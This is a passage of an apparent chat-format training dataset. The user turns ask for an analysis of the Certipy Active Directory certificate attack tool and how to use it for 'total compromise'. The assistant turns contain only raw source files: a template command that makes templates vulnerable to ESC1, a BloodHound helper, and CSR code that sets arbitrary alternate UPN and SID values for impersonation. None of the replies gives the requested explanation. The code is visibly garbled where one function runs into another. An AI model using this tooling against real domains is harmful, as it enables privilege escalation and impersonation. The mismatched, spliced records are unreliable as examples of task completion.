help=\"NTLM hash\",\n )\n\n # Authentication options\n _ = auth_group.add_argument(\n \"-k\",\n action=\"store_true\",\n dest=\"do_kerberos\",\n help=(\n \"Use Kerberos authentication. Grabs credentials from ccache file \"\n \"(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, \"\n \"it will use the ones specified in the command line\"\n ),\n )\n _ = auth_group.add_argument(\n \"-aes\",\n action=\"store\",\n metavar=\"hex key\",\n help=\"AES key to use for Kerberos Authentication (128 or 256 bits)\",\n )\n _ = auth_group.add_argument(\n \"-no-pass\",\n action=\"store_true\",\n help=\"Don't ask for password (useful for -k)\",\n )\n\n # LDAP Options Group\n ldap_group = parser.add_argument_group(\"ldap options\")\n _ = ldap_group.add_argument(\n \"-ldap-scheme\",\n action=\"store\",\n metavar=\"ldap scheme\",\n choices=[\"ldap\", \"ldaps\"],\n default=\"ldaps\",\n help=\"LDAP connection scheme to use (default: ldaps)\",\n )\n _ = ldap_group.add_argument(\n \"-ldap-port\",\n action=\"store\",\n metavar=\"port\",\n type=int,\n help=\"Port for LDAP communication (default: 636 for ldaps, 389 for ldap)\",\n )\n _ = ldap_group.add_argument(\n \"-no-ldap-channel-binding\",\n action=\"store_true\",\n help=\"Don't use LDAP channel binding for LDAP communication (LDAPS only)\",\n )\n _ = ldap_group.add_argument(\n \"-no-ldap-signing\",\n action=\"store_true\",\n help=\"Don't use LDAP signing for LDAP communication (LDAP only)\",\n )\n _ = ldap_group.add_argument(\n \"-ldap-simple-auth\",\n action=\"store_true\",\n dest=\"do_simple\",\n help=\"Use SIMPLE LDAP authentication instead of NTLM\",\n )\n _ = ldap_group.add_argument(\n \"-ldap-user-dn\",\n action=\"store\",\n metavar=\"dn\",\n help=\"Distinguished Name of target account for LDAP authentication\",\n )\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/template.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for certificate template management commands.\n\nThis module defines the command-line interface for the 'template' command,\nwhich allows manipulating certificate templates in Active Directory.\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\nfrom . import target\n\n# Command name identifier\nNAME = \"template\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the template command.\n\n This function imports and calls the actual implementation of the template\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import template\n\n template.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the certificate template command subparser to the main parser.\n\n This function creates and configures a subparser for managing certificate templates\n in Active Directory, including options for viewing, modifying, and saving\n template configurations.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the template subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"Manage certificate templates\",\n description=(\n \"Manipulate certificate templates in Active Directory. \"\n \"This command allows viewing and modifying template configurations for privilege escalation testing or remediation.\"\n ),\n )\n\n # Required template name argument\n subparser.add_argument(\n \"-template\",\n action=\"store\",\n metavar=\"template name\",\n required=True,\n help=\"Name of the certificate template to operate on (case-sensitive)\",\n )\n\n # Group configuration-related options\n config_group = subparser.add_argument_group(\"configuration options\")\n config_group.add_argument(\n \"-write-configuration\",\n action=\"store\",\n metavar=\"configuration file\",\n help=(\n \"Apply configuration from a JSON file to the certificate template. \"\n \"Use this option to restore a previous configuration or apply custom settings. \"\n \"The file should contain the template configuration in valid JSON format.\"\n ),\n )\n config_group.add_argument(\n \"-write-default-configuration\",\n action=\"store_true\",\n help=(\n \"Apply the default Certipy ESC1 configuration to the certificate template. \"\n \"This configures the template to be vulnerable to ESC1 attack.\"\n ),\n )\n\n config_group.add_argument(\n \"-save-configuration\",\n action=\"store\",\n metavar=\"configuration file\",\n help=(\n \"Save the current template configuration to a JSON file. \"\n \"This creates a backup before making changes or documents the current settings. \"\n \"If not specified when using -write-configuration or -write-default-configuration, a backup will still be created.\"\n ),\n )\n config_group.add_argument(\n \"-no-save\",\n action=\"store_true\",\n help=(\n \"Skip saving the current template configuration before applying changes. \"\n \"Use this option to apply modifications without creating a backup file.\"\n ),\n )\n config_group.add_argument(\n \"-force\",\n action=\"store_true\",\n help=(\n \"Don't prompt for confirmation before applying changes. \"\n \"Use this option to apply modifications without user interaction.\"\n ),\n )\n\n # Add standard target arguments (domain, username, etc.) from shared module\n target.add_argument_group(subparser)\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/bloodhound.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\nfrom typing import Tuple\n\n\nclass BloodHoundError(Exception):\n pass\n\n\ndef resolve_type(labels: frozenset[str]):\n for type in [\"User\", \"Group\", \"Computer\"]:\n if type in labels:\n return type.upper()\n return \"UNKNOWN\"\n\n\nclass BloodHound:\n def __init__(\n self, user: str, password: str, host: str = \"localhost\", port: int = 7687\n ):\n try:\n from neo4j import GraphDatabase\n except ImportError:\n raise BloodHoundError(\n \"Please install the 'bloodhound' extra to use this feature\"\n )\n self.driver = GraphDatabase.driver(\n f\"neo4j://{host}:{port}\",\n auth=(user, password),\n )\n\n def get_owned_sids(self):\n records, _, _ = self.driver.execute_query(\n \"MATCH (u:User)-[:MemberOf*1..]->(g:Group) WHERE COALESCE(u.system_tags, '') CONTAINS 'owned' return g.objectid\"\n )\n for record in records:\n yield record[\"g.objectid\"]\n\n def lookup_sid(self, sid: str) -> Tuple[str, str]:\n records, _, _ = self.driver.execute_query(\n \"MATCH (g {objectid:$sid}) return g\", sid=sid\n )\n if records:\n return records[0][\"g\"][\"name\"], resolve_type(records[0][\"g\"].labels)\n raise BloodHoundError(\"SID not found\")\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/certificate.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCertificate handling utilities for Certipy.\n\nThis module provides functions and classes for:\n- Creating and manipulating X.509 certificates and CSRs\n- Handling private keys in various formats\n- Supporting Microsoft certificate extensions\n- Creating PKCS#12 (PFX) files\n- Implementing certificate renewal and archival operations\n\nKey components:\n- Certificate creation and conversion functions\n- CSR (Certificate Signing Request) operations\n- Support for Microsoft-specific extensions\n- Key management utilities\n\"\"\"\n\nimport base64\nimport math\nimport os\nimport struct\nfrom typing import List, Optional, Tuple, Union\n\nfrom asn1crypto import cms as asn1cms\nfrom asn1crypto import core as asn1core\nfrom asn1crypto import csr as asn1csr\nfrom asn1crypto import x509 as asn1x509\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import (\n dsa,\n ec,\n ed448,\n ed25519,\n padding,\n rsa,\n)\nfrom cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.primitives.padding import PKCS7\nfrom cryptography.hazmat.primitives.serialization import (\n Encoding,\n NoEncryption,\n PrivateFormat,\n PublicFormat,\n pkcs12,\n)\nfrom cryptography.x509 import SubjectAlternativeName, SubjectKeyIdentifier\nfrom cryptography.x509.oid import ExtensionOID, NameOID\nfrom impacket.dcerpc.v5.nrpc import checkNullString\nfrom pyasn1.codec.der import decoder\nfrom pyasn1.type.char import UTF8String\n\nfrom certipy.lib.logger import logging\nfrom certipy.lib.structs import (\n CMCAddAttributesInfo,\n EnrollmentNameValuePair,\n OtherMsgs,\n PKIData,\n TaggedAttribute,\n TaggedCertificationRequest,\n TaggedContentInfos,\n TaggedRequest,\n)\n\n# =========================================================================\n# Constants and mappings\n# =========================================================================\n\n# Map common DN attribute names to cryptography OIDs\nDN_MAP = {\n \"CN\": NameOID.COMMON_NAME,\n \"SN\": NameOID.SURNAME,\n \"SERIALNUMBER\": NameOID.SERIAL_NUMBER,\n \"C\": NameOID.COUNTRY_NAME,\n \"L\": NameOID.LOCALITY_NAME,\n \"S\": NameOID.STATE_OR_PROVINCE_NAME,\n \"ST\": NameOID.STATE_OR_PROVINCE_NAME,\n \"STREET\": NameOID.STREET_ADDRESS,\n \"O\": NameOID.ORGANIZATION_NAME,\n \"OU\": NameOID.ORGANIZATIONAL_UNIT_NAME,\n \"T\": NameOID.TITLE,\n \"TITLE\": NameOID.TITLE,\n \"G\": NameOID.GIVEN_NAME,\n \"GN\": NameOID.GIVEN_NAME,\n \"E\": NameOID.EMAIL_ADDRESS,\n \"UID\": NameOID.USER_ID,\n \"DC\": NameOID.DOMAIN_COMPONENT,\n}\n\n# Microsoft-specific OIDs\nPRINCIPAL_NAME = x509.ObjectIdentifier(\"1.3.6.1.4.1.311.20.2.3\")\nNTDS_CA_SECURITY_EXT = x509.ObjectIdentifier(\"1.3.6.1.4.1.311.25.2\")\nNTDS_OBJECTSID = x509.ObjectIdentifier(\"1.3.6.1.4.1.311.25.2.1\")\nAPPLICATION_POLICIES = x509.ObjectIdentifier(\"1.3.6.1.4.1.311.21.10\")\nSMIME_CAPABILITIES = x509.ObjectIdentifier(\"1.2.840.113549.1.9.15\")\n\n# Microsoft-specific ASN.1 OIDs\nOID_ENCRYPTED_KEY_HASH = asn1cms.ObjectIdentifier(\"1.3.6.1.4.1.311.21.21\")\nOID_PRINCIPAL_NAME = asn1cms.ObjectIdentifier(\"1.3.6.1.4.1.311.20.2.3\")\nOID_CMC_ADD_ATTRIBUTES = asn1cms.ObjectIdentifier(\"1.3.6.1.4.1.311.10.10.1\")\nOID_NTDS_OBJECTSID = asn1cms.ObjectIdentifier(\"1.3.6.1.4.1.311.25.2.1\")\n\n# Microsoft-specific SAN URL prefix for SID\nSAN_URL_PREFIX = \"tag:microsoft.com,2022-09-14:sid:\"\n\n# Register Microsoft-specific extensions\nasn1x509.ExtensionId._map.update(\n {\n \"1.3.6.1.4.1.311.25.2\": \"security_ext\",\n }\n)\n\nasn1x509.ExtensionId._map.update(\n {\n \"1.2.840.113549.1.9.15\": \"smime_capability\",\n }\n)\n\nasn1x509.Extension._oid_specs.update(\n {\n \"security_ext\": asn1x509.GeneralNames,\n }\n)\n\n# asn1x509.Extension._oid_specs.update(\n# {\n# \"smime_capability\": asn1core.ObjectIdentifier, # type: ignore\n# }\n# ) # type: ignore\n\n# SMIME capabilities mapping\nSMIME_MAP = {\n \"des\": \"1.3.14.3.2.7\",\n \"rc4\": \"1.2.840.113549.3.4\",\n \"3des\": \"1.2.840.113549.1.9.16.3.6\",\n \"aes128\": \"2.16.840.1.101.3.4.1.5\",\n \"aes192\": \"2.16.840.1.101.3.4.1.25\",\n \"aes256\": \"2.16.840.1.101.3.4.1.45\",\n}\n\n\n# =========================================================================\n# Certificate identity and parsing functions\n# =========================================================================\n\n\ndef cert_id_to_parts(\n identities: List[Tuple[Optional[str], Optional[str]]],\n) -> Tuple[Optional[str], Optional[str]]:\n \"\"\"\n Extract username and domain from certificate identities.\n\n Args:\n identities: List of (id_type, id_value) tuples from certificate\n\n Returns:\n Tuple of (username, domain)\n \"\"\"\n usernames: List[str] = []\n domains: List[str] = []\n\n if len(identities) == 0:\n return (None, None)\n\n for id_type, identity in identities:\n if id_type is None or identity is None:\n continue\n\n if id_type != \"DNS Host Name\" and id_type != \"UPN\":\n continue\n\n cert_username = \"\"\n cert_domain = \"\"\n\n if id_type == \"DNS Host Name\":\n parts = identity.split(\".\")\n if len(parts) == 1:\n cert_username = identity\n cert_domain = \"\"\n else:\n cert_username = parts[0] + \"$\"\n cert_domain = \".\".join(parts[1:])\n elif id_type == \"UPN\":\n parts = identity.split(\"@\")\n if len(parts) == 1:\n cert_username = identity\n cert_domain = \"\"\n else:\n cert_username = \"@\".join(parts[:-1])\n cert_domain = parts[-1]\n\n usernames.append(cert_username)\n domains.append(cert_domain)\n\n return (\"_\".join(usernames), \"_\".join(domains))\n\n\ndef print_certificate_authentication_information(\n certificate: x509.Certificate,\n) -> None:\n \"\"\"\n Display all authentication-related information found in a certificate.\n\n This function extracts and prints various identity methods used in a\n certificate, including Subject Alternative Names (SAN), Security Identifiers (SID),\n and other Microsoft-specific extensions that can be used for authentication.\n\n Args:\n certificate: X.509 certificate to analyze and display information for\n \"\"\"\n # Extract all identity information\n identities = get_identities_from_certificate(certificate)\n san_url_sid = get_object_sid_from_certificate_san_url(certificate)\n sid_extension_sid = get_object_sid_from_certificate_sid_extension(certificate)\n\n # Print certificate identities with clear section header\n logging.info(\"Certificate identities:\")\n\n # Case: No identities found\n if len(identities) == 0 and not san_url_sid and not sid_extension_sid:\n logging.info(\" No identities found in this certificate\")\n return\n\n # Print Subject Alternative Name entries\n if identities:\n for id_type, id_value in identities:\n logging.info(f\" SAN {id_type}: {id_value!r}\")\n\n # Print SID from SAN URL (newer format)\n if san_url_sid:\n logging.info(f\" SAN URL SID: {san_url_sid!r}\")\n\n # Print SID from Security Extension (common format used by AD CS)\n if sid_extension_sid:\n logging.info(f\" Security Extension SID: {sid_extension_sid!r}\")\n\n\ndef print_certificate_identities(\n identities: List[Tuple[str, str]],\n) -> None:\n \"\"\"\n Print certificate identity information with appropriate formatting.\n\n Args:\n identities: List of tuples containing (identity_type, identity_value)\n \"\"\"\n if len(identities) > 1:\n logging.info(\"Got certificate with multiple identities\")\n for id_type, id_value in identities:\n print(f\" {id_type}: {id_value!r}\")\n\n elif len(identities) == 1:\n id_type, id_value = identities[0]\n logging.info(f\"Got certificate with {id_type} {id_value!r}\")\n\n else:\n logging.info(\"Got certificate without identity\")\n\n\ndef get_identities_from_certificate(\n certificate: x509.Certificate,\n) -> List[Tuple[str, str]]:\n \"\"\"\n Extract identity information from a certificate.\n\n Args:\n certificate: X.509 certificate to analyze\n\n Returns:\n List of tuples with (id_type, id_value)\n \"\"\"\n identities = []\n\n try:\n # Get Subject Alternative Name extension\n san = certificate.extensions.get_extension_for_oid(\n ExtensionOID.SUBJECT_ALTERNATIVE_NAME\n )\n\n if not isinstance(san.value, SubjectAlternativeName):\n raise ValueError(\"Invalid SAN value\")\n\n # Extract UPN from OtherName fields\n for name in san.value.get_values_for_type(x509.OtherName):\n if name.type_id == PRINCIPAL_NAME:\n identities.append(\n (\n \"UPN\",\n decoder.decode(name.value, asn1Spec=UTF8String)[0].decode(),\n )\n )\n\n # Extract DNS names\n for name in san.value.get_values_for_type(x509.DNSName):\n identities.append((\"DNS Host Name\", name))\n\n except Exception:\n pass\n\n return identities\n\n\ndef get_object_sid_from_certificate_san_url(\n certificate: x509.Certificate,\n) -> Optional[str]:\n \"\"\"\n Extract a Security Identifier (SID) from a certificate's Subject Alternative Name (SAN)\n URL field.\n\n Microsoft AD CS can include SIDs in certificates as URLs with a specific format:\n tag:microsoft.com,2022-09-14:sid:{SID}\n\n Args:\n certificate: X.509 certificate to analyze\n\n Returns:\n Extracted Security Identifier as string, or None if not found\n \"\"\"\n try:\n # Get Subject Alternative Name extension\n san = certificate.extensions.get_extension_for_oid(\n ExtensionOID.SUBJECT_ALTERNATIVE_NAME\n )\n\n if not isinstance(san.value, SubjectAlternativeName):\n raise ValueError(\"Invalid SAN value type\")\n\n # Search for SIDs in UniformResourceIdentifier fields\n for name in san.value.get_values_for_type(x509.UniformResourceIdentifier):\n if SAN_URL_PREFIX in name.lower():\n # Extract the SID portion that follows the prefix\n return name[\n name.lower().find(SAN_URL_PREFIX) + len(SAN_URL_PREFIX) :\n ].strip()\n\n except Exception:\n pass\n\n return None\n\n\ndef get_object_sid_from_certificate_sid_extension(\n certificate: x509.Certificate,\n) -> Optional[str]:\n \"\"\"\n Extract a Security Identifier (SID) from a certificate's Microsoft-specific\n NTDS_CA_SECURITY_EXT extension.\n\n This extension is commonly used in Microsoft AD CS environments to associate\n certificates with specific Active Directory objects.\n\n Args:\n certificate: X.509 certificate to analyze\n\n Returns:\n Security Identifier as string, or None if not found\n \"\"\"\n try:\n # Get Microsoft security extension\n object_sid = certificate.extensions.get_extension_for_oid(NTDS_CA_SECURITY_EXT)\n\n if not isinstance(object_sid.value, x509.UnrecognizedExtension):\n raise ValueError(\n f\"Expected UnrecognizedExtension for security extension, got {type(object_sid.value)}\"\n )\n\n # Extract SID string (format is binary with an S-1-5... SID string)\n sid_value = object_sid.value.value\n sid_start = sid_value.find(b\"S-1-5\")\n\n if sid_start == -1:\n logging.debug(\"Could not find SID pattern in security extension\")\n return None\n\n return sid_value[sid_start:].decode().strip()\n\n except Exception:\n pass\n\n return None\n\n\ndef get_object_sid_from_certificate(\n certificate: x509.Certificate,\n) -> Optional[str]:\n \"\"\"\n Extract a Security Identifier (SID) from a certificate using multiple methods.\n\n This function attempts to find SIDs in both the Subject Alternative Name URL field\n and the Microsoft-specific security extension. Different certificate templates may\n use different approaches for storing SIDs, so both methods are tried.\n\n The security extension SID is prioritized as Windows uses this value for\n authentication purposes. If only the SAN URL SID is available, that will be returned.\n\n Args:\n certificate: X.509 certificate to analyze\n\n Returns:\n The security extension SID (preferred) or SAN URL SID if available, otherwise None\n \"\"\"\n # Extract SIDs using both available methods\n san_url_sid = get_object_sid_from_certificate_san_url(certificate)\n sid_extension_sid = get_object_sid_from_certificate_sid_extension(certificate)\n\n # Log debug information about found SIDs\n if san_url_sid:\n logging.debug(f\"Found SID in SAN URL: {san_url_sid!r}\")\n if sid_extension_sid:\n logging.debug(f\"Found SID in security extension: {sid_extension_sid!r}\")\n\n # Log a warning if both methods found different SIDs\n if san_url_sid and sid_extension_sid and san_url_sid != sid_extension_sid:\n logging.warning(f\"Conflicting SIDs found in certificate:\")\n logging.warning(f\" SAN URL: {san_url_sid!r}\")\n logging.warning(f\" Security Extension: {sid_extension_sid!r}\")\n logging.warning(\n \"Windows will use the security extension SID for authentication purposes\"\n )\n\n # Return the security extension SID if available (preferred by Windows),\n # otherwise fall back to the SAN URL SID\n return sid_extension_sid or san_url_sid\n\n\n# =========================================================================\n# Format conversion utilities\n# =========================================================================\n\n\ndef csr_to_der(csr: x509.CertificateSigningRequest) -> bytes:\n \"\"\"Convert CSR to DER format.\"\"\"\n return csr.public_bytes(Encoding.DER)\n\n\ndef csr_to_pem(csr: x509.CertificateSigningRequest) -> bytes:\n \"\"\"Convert CSR to PEM format.\"\"\"\n return csr.public_bytes(Encoding.PEM)\n\n\ndef cert_to_pem(cert: x509.Certificate) -> bytes:\n \"\"\"Convert certificate to PEM format.\"\"\"\n return cert.public_bytes(Encoding.PEM)\n\n\ndef cert_to_der(cert: x509.Certificate) -> bytes:\n \"\"\"Convert certificate to DER format.\"\"\"\n return cert.public_bytes(Encoding.DER)\n\n\ndef key_to_pem(key: PrivateKeyTypes) -> bytes:\n \"\"\"\n Convert private key to PEM format (PKCS#8).\n\n Args:\n key: Private key object\n\n Returns:\n PEM-encoded key as bytes\n \"\"\"\n return key.private_bytes(\n Encoding.PEM, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption()\n )\n\n\ndef key_to_der(key: PrivateKeyTypes) -> bytes:\n \"\"\"\n Convert private key to DER format (PKCS#8).\n\n Args:\n key: Private key object\n\n Returns:\n DER-encoded key as bytes\n \"\"\"\n return key.private_bytes(\n Encoding.DER, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption()\n )\n\n\ndef der_to_pem(der: bytes, pem_type: str) -> str:\n \"\"\"\n Convert DER-encoded data to PEM format.\n\n Args:\n der: DER-encoded binary data\n pem_type: PEM header/footer type (e.g., \"CERTIFICATE\")\n\n Returns:\n PEM-encoded data as string\n \"\"\"\n pem_type = pem_type.upper()\n b64_data = base64.b64encode(der).decode()\n return \"-----BEGIN %s-----\\n%s\\n-----END %s-----\\n\" % (\n pem_type,\n \"\\n\".join([b64_data[i : i + 64] for i in range(0, len(b64_data), 64)]),\n pem_type,\n )\n\n\ndef der_to_csr(csr: bytes) -> x509.CertificateSigningRequest:\n \"\"\"Convert DER-encoded CSR to object.\"\"\"\n return x509.load_der_x509_csr(csr)\n\n\ndef der_to_key(key: bytes) -> PrivateKeyTypes:\n \"\"\"Convert DER-encoded private key to object.\"\"\"\n return serialization.load_der_private_key(key, None)\n\n\ndef pem_to_key(key: bytes) -> PrivateKeyTypes:\n \"\"\"Convert PEM-encoded private key to object.\"\"\"\n return serialization.load_pem_private_key(key, None)\n\n\ndef der_to_cert(certificate: bytes) -> x509.Certificate:\n \"\"\"Convert DER-encoded certificate to object.\"\"\"\n return x509.load_der_x509_certificate(certificate)\n\n\ndef pem_to_cert(certificate: bytes) -> x509.Certificate:\n \"\"\"Convert PEM-encoded certificate to object.\"\"\"\n return x509.load_pem_x509_certificate(certificate)\n\n\n# =========================================================================\n# Key and certificate operations\n# =========================================================================\n\n\ndef generate_rsa_key(key_size: int = 2048) -> rsa.RSAPrivateKey:\n \"\"\"\n Generate a new RSA private key.\n\n Args:\n key_size: Key size in bits (default: 2048)\n\n Returns:\n RSA private key object\n \"\"\"\n return rsa.generate_private_key(public_exponent=0x10001, key_size=key_size)\n\n\ndef private_key_to_ms_blob(private_key: rsa.RSAPrivateKey) -> bytes:\n \"\"\"\n Convert RSA private key to Microsoft BLOB format.\n\n Args:\n private_key: RSA private key\n\n Returns:\n Microsoft BLOB format key data\n \"\"\"\n # Get key size\n bitlen = private_key.key_size\n private_numbers = private_key.private_numbers()\n public_numbers = private_numbers.public_numbers\n\n # Calculate byte lengths\n bitlen8 = math.ceil(bitlen / 8)\n bitlen16 = math.ceil(bitlen / 16)\n\n # Pack in Microsoft's format\n return struct.pack(\n \" bytes:\n \"\"\"\n Create a PKCS#12/PFX container with certificate and private key.\n\n Args:\n key: Private key object\n cert: Certificate object\n password: Optional encryption password\n\n Returns:\n PKCS#12 data as bytes\n\n Raises:\n TypeError: If key type is not supported\n \"\"\"\n # Validate key type\n if not (\n isinstance(key, rsa.RSAPrivateKey)\n or isinstance(key, dsa.DSAPrivateKey)\n or isinstance(key, ec.EllipticCurvePrivateKey)\n or isinstance(key, ed25519.Ed25519PrivateKey)\n or isinstance(key, ed448.Ed448PrivateKey)\n ):\n # Log error with details to help diagnose the issue\n logging.error(\n \"Private key must be an instance of RSAPrivateKey, DSAPrivateKey, \"\n f\"EllipticCurvePrivateKey, Ed25519PrivateKey or Ed448PrivateKey. Received {type(key)}\"\n )\n logging.error(\"Dumping private key to PEM format\")\n logging.error(\n key.private_bytes(\n Encoding.PEM, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption()\n )\n )\n logging.error(\"Dumping certificate to PEM format\")\n logging.error(cert.public_bytes(Encoding.PEM))\n raise TypeError(\n \"Private key must be an instance of RSAPrivateKey, DSAPrivateKey, \"\n \"EllipticCurvePrivateKey, Ed25519PrivateKey or Ed448PrivateKey\"\n )\n\n # Configure encryption algorithm\n encryption = NoEncryption()\n if password is not None:\n encryption = (\n PrivateFormat.PKCS12.encryption_builder()\n .kdf_rounds(50000)\n .key_cert_algorithm(pkcs12.PBES.PBESv1SHA1And3KeyTripleDESCBC)\n .hmac_hash(hashes.SHA1())\n .build(bytes(password, \"utf-8\"))\n )\n\n # Create PFX\n return pkcs12.serialize_key_and_certificates(\n name=b\"\",\n key=key,\n cert=cert,\n cas=None,\n encryption_algorithm=encryption,\n )\n\n\ndef load_pfx(\n pfx: bytes, password: Optional[bytes] = None\n) -> Tuple[Optional[PrivateKeyTypes], Optional[x509.Certificate]]:\n \"\"\"\n Load key and certificate from PKCS#12/PFX data.\n\n Args:\n pfx: PKCS#12 data\n password: Optional decryption password\n\n Returns:\n Tuple of (private_key, certificate)\n \"\"\"\n return pkcs12.load_key_and_certificates(pfx, password)[:-1]\n\n\ndef rsa_pkcs1v15_sign(\n data: bytes,\n key: PrivateKeyTypes,\n hash_algorithm: type[hashes.HashAlgorithm] = hashes.SHA256,\n) -> bytes:\n \"\"\"\n Sign data using RSA PKCS#1 v1.5 padding.\n\n Args:\n data: Data to sign\n key: Private key for signing\n hash_algorithm: Hash algorithm to use\n\n Returns:\n Signature bytes\n\n Raises:\n TypeError: If key is not an RSA private key\n \"\"\"\n if not isinstance(key, rsa.RSAPrivateKey):\n raise TypeError(\"key must be an instance of RSAPrivateKey\")\n\n return key.sign(data, padding.PKCS1v15(), hash_algorithm())\n\n\ndef hash_digest(data: bytes, hash_algorithm: type[hashes.HashAlgorithm]) -> bytes:\n \"\"\"\n Compute hash digest of data.\n\n Args:\n data: Data to hash\n hash_algorithm: Hash algorithm to use\n\n Returns:\n Hash digest as bytes\n \"\"\"\n digest = hashes.Hash(hash_algorithm())\n digest.update(data)\n return digest.finalize()\n\n\n# =========================================================================\n# Subject handling functions\n# =========================================================================\n\n\ndef dn_to_components(dn: str) -> List[Tuple[str, str]]:\n \"\"\"\n Parse a Distinguished Name string into components.\n\n Args:\n dn: DN string (e.g., \"CN=username,DC=domain,DC=local\")\n\n Returns:\n List of (attribute_name, value) tuples\n \"\"\"\n components = []\n component = \"\"\n escape_sequence = False\n\n for c in dn:\n if c == \"\\\\\":\n escape_sequence = True\n elif escape_sequence and c != \" \":\n escape_sequence = False\n elif c == \",\":\n if \"=\" in component:\n attr_name, _, value = component.partition(\"=\")\n component = (attr_name.strip().upper(), value.strip())\n components.append(component)\n component = \"\"\n continue\n\n component += c\n\n # Add the last component\n attr_name, _, value = component.partition(\"=\")\n component = (attr_name.strip().upper(), value.strip())\n components.append(component)\n\n return components\n\n\ndef get_subject_from_str(subject: str) -> x509.Name:\n \"\"\"\n Create a Name object from a subject string.\n\n Args:\n subject: Subject DN string\n\n Returns:\n x509.Name object\n \"\"\"\n return x509.Name(x509.Name.from_rfc4514_string(subject).rdns[::-1])\n\n\n# =========================================================================\n# Certificate Signing Request (CSR) functions\n# =========================================================================\n\n\ndef create_csr(\n username: str,\n alt_dns: Optional[Union[bytes, str]],\n alt_upn: Optional[Union[bytes, str]],\n alt_sid: Optional[Union[bytes, str]],\n subject: Optional[str],\n key_size: int,\n application_policies: Optional[List[str]],\n smime: Optional[str],\n key: Optional[rsa.RSAPrivateKey] = None,\n renewal_cert: Optional[x509.Certificate] = None,\n) -> Tuple[x509.CertificateSigningRequest, rsa.RSAPrivateKey]:\n \"\"\"\n Create a certificate signing request (CSR) with optional extensions.\n\n Args:\n username: Username for the subject\n alt_dns: Alternative DNS name\n alt_upn: Alternative UPN (User Principal Name)\n alt_sid: Alternative SID (Security Identifier)\n key: RSA private key (generated if None)\n key_size: Key size in bits (for key generation)\n subject: Subject DN string\n renewal_cert: Certificate being renewed\n application_policies: List of application policy OIDs\n smime: SMIME capability identifier\n\n Returns:\n Tuple of (CSR, private_key)\n \"\"\"\n # Generate key if not provided\n if key is None:\n logging.debug(\"Generating RSA key\")\n key = generate_rsa_key(key_size)\n\n # Start building CSR\n certification_request_info = asn1csr.CertificationRequestInfo()\n certification_request_info[\"version\"] = \"v1\"\n\n # Set subject name\n if subject:\n subject_name = get_subject_from_str(subject)\n else:\n subject_name = x509.Name(\n [\n x509.NameAttribute(NameOID.COMMON_NAME, username.capitalize()),\n ]\n )\n\n certification_request_info[\"subject\"] = asn1csr.Name.load(\n subject_name.public_bytes()\n )\n\n # Set public key\n public_key = key.public_key().public_bytes(\n Encoding.DER, PublicFormat.SubjectPublicKeyInfo\n )\n subject_pk_info = asn1csr.PublicKeyInfo.load(public_key)\n certification_request_info[\"subject_pk_info\"] = subject_pk_info\n\n # Build CSR attributes\n cri_attributes = []\n\n # Add Subject Alternative Name extension if needed\n if alt_dns or alt_upn or alt_sid:\n general_names = []\n\n # Add DNS name\n if alt_dns:\n if isinstance(alt_dns, bytes):\n alt_dns = alt_dns.decode()\n general_names.append(asn1x509.GeneralName({\"dns_name\": alt_dns}))\n\n # Add UPN\n if alt_upn:\n if isinstance(alt_upn, bytes):\n alt_upn = alt_upn.decode()\n\n general_names.append(\n asn1x509.GeneralName(\n {\n \"other_name\": asn1x509.AnotherName(\n {\n \"type_id\": OID_PRINCIPAL_NAME,\n \"value\": asn1x509.UTF8String(alt_upn).retag(\n {\"explicit\": 0}\n ),\n }\n )\n }\n )\n )\n\n # Add SID URL\n if alt_sid:\n if isinstance(alt_sid, bytes):\n alt_sid = alt_sid.decode()\n\n general_names.append(\n asn1x509.GeneralName(\n {\"uniform_resource_identifier\": f\"{SAN_URL_PREFIX}{alt_sid}\"}\n )\n )\n\n # Create SAN extension\n san_extension = asn1x509.Extension(\n {\"extn_id\": \"subject_alt_name\", \"extn_value\": general_names}\n )\n\n # Add extension to CSR attributes\n set_of_extensions = asn1csr.SetOfExtensions([[san_extension]])\n cri_attribute = asn1csr.CRIAttribute(\n {\"type\": \"extension_request\", \"values\": set_of_extensions}\n )\n cri_attributes.append(cri_attribute)\n\n # Add SMIME capability extension if requested\n if smime:\n # Create SMIME extension\n smime_extension = asn1x509.Extension(\n {\n \"extn_id\": \"smime_capability\",\n \"extn_value\": asn1x509.ParsableOctetString(\n asn1core.ObjectIdentifier(SMIME_MAP[smime]).dump()\n ),\n }\n )\n\n # Add extension to CSR attributes\n set_of_extensions = asn1csr.SetOfExtensions([[smime_extension]])\n cri_attribute = asn1csr.CRIAttribute(\n {\"type\": \"extension_request\", \"values\": set_of_extensions}\n )\n cri_attributes.append(cri_attribute)\n\n # Add Security Identifier extension if requested\n if alt_sid:\n # Create security 